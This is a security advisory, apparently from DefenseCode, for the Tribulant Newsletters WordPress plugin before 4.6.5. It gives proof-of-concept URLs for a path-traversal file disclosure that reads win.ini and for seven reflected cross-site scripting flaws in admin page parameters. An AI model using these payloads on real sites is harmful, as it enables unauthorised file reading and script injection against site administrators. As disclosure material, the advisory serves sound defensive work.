Tribulant Newsletters < 4.6.5 – Multiple Vulnerabilities

Description

The Newsletters WordPress plugin was affected by security vulnerability.

Proof of Concept

3.1 File disclosure
Vulnerable URL:
http://vulnerablesite.com/wp-admin/admin.php?page=newslettershistory&wpmlmethod=exportdownload&file=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cWIN
DOWS%5cwin.ini

3.2 Cross-Site Scripting
Vulnerable Parameter: $_GET['method']
Vulnerable URL:
http://vulnerablesite.com/wp-admin/admin.php?page=newsletters-subscribers&method=checkexpired%5C%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E

3.3 Cross-Site Scripting
Vulnerable Parameter: $_GET['id']
Vulnerable URL:
http://vulnerablesite.com/wp-admin/admin.php?page=newsletterssubscribers&method=view&id=1%5C%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E
Note:
Subscriber id (parameter "id") must exist. Value 1 is a good guess for start ;)

3.4 Cross-Site Scripting
Vulnerable Parameter: $_GET['id']
Vulnerable URL:
http://vulnerablesite.com/wp-admin/admin.php?page=newsletterslists&method=view&id=1%5C%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E

3.5 Cross-Site Scripting
Vulnerable Parameter: $_GET['value']
Vulnerable URL:
http://vulnerablesite.com/wp-admin/adminajax.php?action=newsletters_gauge&value=1});alert(1);</script>

3.6 Cross-Site Scripting
Vulnerable Parameter: $_GET['order']
Vulnerable URL:
http://vulnerablesite.com/wp-admin/admin.php?page=newslettershistory&orderby=theme_id&order=%22%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E
http://www.defensecode.com/advisories.php

3.7 Cross-Site Scripting
Vulnerable Parameter: $_GET['wpmlsearchterm']
Vulnerable URL:
http://vulnerablesite.com/wp-admin/admin.php?page=newslettershistory&wpmlsearchterm=x%5C%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E

3.8 Cross-Site Scripting
Vulnerable Parameter: $_GET['wpmlmessage']
Vulnerable URL:
http://vulnerablesite.com/wp-admin/admin.php?page=newsletterssubscribers&wpmlupdated=true&wpmlmessage=%3Cscript%3Ealert%281%29%3C%2Fscript%3E